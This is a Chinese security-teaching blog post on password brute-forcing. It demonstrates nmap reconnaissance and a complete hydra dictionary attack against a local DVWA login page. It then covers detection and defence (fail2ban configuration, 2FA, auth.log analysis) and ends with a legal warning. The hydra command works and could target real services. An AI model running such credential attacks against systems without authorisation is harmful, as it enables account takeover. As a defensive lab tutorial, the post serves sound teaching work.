返回首页

密码爆破实战-凌晨两点,有人在按你服务器的门铃

2026-08-10 08:18 · 网络安全
 
CYLOG  ·  SECURITY  LAB

密码爆破实战

凌晨两点,有人在按你服务器的门铃

 

[ROOT@CYLOG ~]# 网络安全教学日志

凌晨两点,值班手机响了。客户说 VPN 登不上去了。我调出防火墙日志,看到过去三个小时里,同一个 IP 对着 SSH 端口试了一万四千多次登录。

试的密码长这样:admin,123456,password,admin888,qwerty……一条一条,不紧不慢,像半夜有人在你家门口按门铃。按了三小时,门开了。

凌晨两点,有人在按你服务器的门铃

—— 凌晨两点,有人在按你服务器的门铃

暴力破解,笨但有效

暴力破解没什么技术含量。拿一本字典,从头到尾试你的密码。它笨,但几十年了还在用——因为人的密码习惯根本没进步。2025 年泄露的密码库里,「123456」出现了五千多万次。攻击者不是在猜你的密码,他只是把全世界已经泄露的密码表拿来,挨个撞你。

【热点】2026 年的现状:针对公网 SSH/RDP 端口的爆破流量常年占攻击总量的四成以上。攻击者不需要多聪明,他只需要一本字典、一台机器、一个晚上。而你只需要一个弱口令。

下面我们来做一下预演
在开始之前先搞懂:hydra 凭什么知道试对了

这是新手最大的盲区。hydra 不知道你的密码对不对,它只会读页面。

HTTP 登录的本质:你把 username 和 password 发给服务器,服务器查库、比对,然后回你一个页面——要么是「登录成功,欢迎回来」,要么是「账号或密码错误」。

hydra 的判断方式就一条:看响应里有没有你指定的特征字符串。你在命令里告诉它「失败时页面会包含 Login failed」,它每试一次就看一眼页面——没这个词,说明试对了;有这个词,继续试下一个。

好,原理懂了,继续
一.环境准备(先做对,再动手)
🛡️ 防御清单
机:DVWA(本地虚拟机) 攻击机:Kali Linux 2026.x(自带 hydra 9.x) 网络:Host-Only 模式,两台机器同网段 版本:hydra 9.5+ / nmap 7.95+,动手前先验版本,避免教程和你的环境对不上
$ bash
攻击机:确认工具版本
kali@attack:~$ hydra -V
# Hydra v9.5 (c) 2023 by van Hauser/THC
 
# 靶机可达性检查
kali@attack:~$ curl -I http://192.168.56.10/dvwa/login.php
# 期望输出:HTTP/1.1 200 O
⚠️ 错误预演(翻车现场)
url 连不上靶机?最常见三个原因:①虚拟机网络不是 Host-Only/桥接——改完设置记得重启靶机;②DVWA 服务没起来——靶机里跑 systemctl start apache2 mysql;③防火墙挡了 80 端口——ufw allow 80。挨个排除,别在第一步耗太久
二、完整复现:从侦察到破门

先扫描,后开打。盲打是浪费——nmap 先确认目标开了什么端口、什么服务,再决定字典怎么选。

$ bash
第一步:侦察(确认目标性质)
kali@attack:~$ nmap -sV -p 80,443,3306 192.168.56.10
 
# 期望输出(节选):
# PORT STATE SERVICE VERSION
# 80/tcp open http Apache httpd 2.4.62
# 3306/tcp open mysql MySQL 5.7.44
 
# 第二步:确认登录页表单字段名(hydra 需要知道 POST 参数)
kali@attack:~$ curl -s http://192.168.56.10/dvwa/login.php | grep -oE 'name="[^"]+"'
# 期望输出:name="username" name="password" name="Login
到 80 端口开 + MySQL 存在:目标有 Web 服务,值得继续。表单字段 username/password/Login 三个名字记下来,hydra 要用
$ bash
第三步:做小字典(rockyou 完整 14G 太大,教学取前 1000 条)
kali@attack:~$ sudo zcat /usr/share/wordlists/rockyou.txt.gz | head -1000 > ~/top1000.txt
 
# 第四步:开打(-f 命中即停)
kali@attack:~$ hydra -l admin -P ~/top1000.txt 192.168.56.10 http-post-form \
"/dvwa/login.php:username=^USER^&password=***&Login=Login:Login failed" -f -t 8
 
# 拆开看这条命令在说什么:
# -l admin 用户名锁死 admin
# -P ~/top1000.txt 密码字典
# http-post-form 协议:HTTP POST 表单
# 中间那段 表单字段名 + 两个占位符 ^USER^ ^PASS^(hydra 往这填)
# 冒号最后一段 「Login failed」= 失败特征串(第二节讲的那个)
# -f 试中第一个就停
# -t 8 并发 8 个线
⚠️ 错误预演(翻车现场)
错 "Login failed not found in response"?特征串写错了。打开登录页源码,找到真正的失败提示文案,改在冒号最后一段。这是 hydra 新手 90% 的坑——抄错一个字,白跑一夜
成功输出示例:
[80][http-post-form] host: 192.168.56.10 login: admin password: admin888
→ 第 301 条字典命中。攻击者视角:拿到一个可用凭证,可以进后台了
✅ 成功预演 · 结果解读
解读:①hydra 停在命中的那条(-f 生效);②攻击者拿到凭证后会立刻登录后台,找上传点/命令执行点扩大战果;③防御方视角:auth.log 里 300 次连续失败记录就是最明显的入侵信号——你该在它发生之前看见
预演之后,我们需要知道的事
一.新旧对比:字典攻击 vs 密码喷洒【技术的迭代】
传统字典攻击 密码喷洒(Password Spraying)
目标 单账号多密码 多账号同一弱密码
日志特征 同 IP 高频失败 低频、分散、难察觉
绕过手段 被账号锁定策略挡住 专打「无锁定策略」的系统
2026 现状 撞库主流仍是此类 APT 组织更常用,更难
二.我们的防御怎么落地(四层,别指望一条命令)
🛡️ 防御清单
一层,把门锁换好。密码策略 + 定期用泄露库自查。公司里如果有人密码在 rockyou 前 1000 名里,等于没锁门。 第二层,让门铃按不动。fail2ban 自动封 IP(配置见下方代码块)。 第三层,钥匙丢了也没用。双因子认证 2FA——密码泄露 + 没有 2FA = 门开着;密码泄露 + 有 2FA = 进不来。这层最重要。 第四层,看得见才算防得住。日志要有人看、要有告警
$ bash
fail2ban 配置参考(/etc/fail2ban/jail.local)
[sshd]
enabled = true
port = ssh
maxretry = 5 # 5 次失败
bantime = 1h # 封 1 小时
findtime = 600 # 10 分钟内计数
banaction = iptables-multiport
 
# 生效与查看:
# sudo systemctl restart fail2ban
# sudo fail2ban-client status sshd
 
# SSH 登录失败记录长什么样:
kali@attack:~$ grep "Failed password" /var/log/auth.log | tail -3
# Dec 3 02:14:37 srv sshd[22104]: Failed password for invalid user admin from 185.220.101.34 port 51234 ssh2
 
# 同一个 IP 刷了多少次:
kali@attack:~$ grep "Failed password" /var/log/auth.log | awk '{print $(NF-3)}' | sort | uniq -c | sort -rn | head -3
# 14231 185.220.101.34 ← 三个小时,一个 IP,一万四千
到这种日志,顺序不能反:先改密码、开 2FA、封 IP,再查有没有成功记录(grep Accepted)——先止损,再溯源
最后:让我们回到开头那台 VPN

客户的服务器后来怎么处理的?改了强密码,开了 2FA,fail2ban 上线,日志转 SIEM 自动告警。三天后日志里又来了新的扫描——但这次,门铃按了两下就停了。

攻击者永远在试。你要做的不是让门铃不响,是让它响到天亮也进不来。

⚖️ 法律与风险边界
法律与风险边界:未经授权对他人系统做口令爆破,涉嫌违反《网络安全法》第 27 条、《刑法》第 285 条(非法获取计算机信息系统数据罪),最高七年。本文演示全部基于本地靶机 DVWA。真实渗透测试必须有书面授权(SRC 项目授权、企业委托书等)。自己公司的系统,也先走内部授权流程。
📚 延伸阅读
伸阅读: ① OWASP Authentication Cheat Sheet — owasp.org(口令安全权威指南) ② NIST SP 800-63B — 现代密码策略标准(长度优先于复杂度) ③ rockyou 密码分布分析 — 可搜「rockyou password frequency analysis」 ④ DVWA 官方仓库 — github.com/digininja/DVW
— · END · —

🔐  本日志仅用于网络安全教学  ·  请勿用于非法用途

虚构日记 · 时间地点人物均已虚拟化 · 防御永远比攻击更有价值

 

网络安全 · 黑客日常

CYLOG

知己知彼,百战不殆。

文章目录
    ×

    如果觉得文章对您有用,请随意打赏。
    您的支持是我们继续创作的动力!

    微信打赏

    微信扫一扫

    支付宝打赏

    支付宝扫一扫

    发表评论

    请先 登录 再评论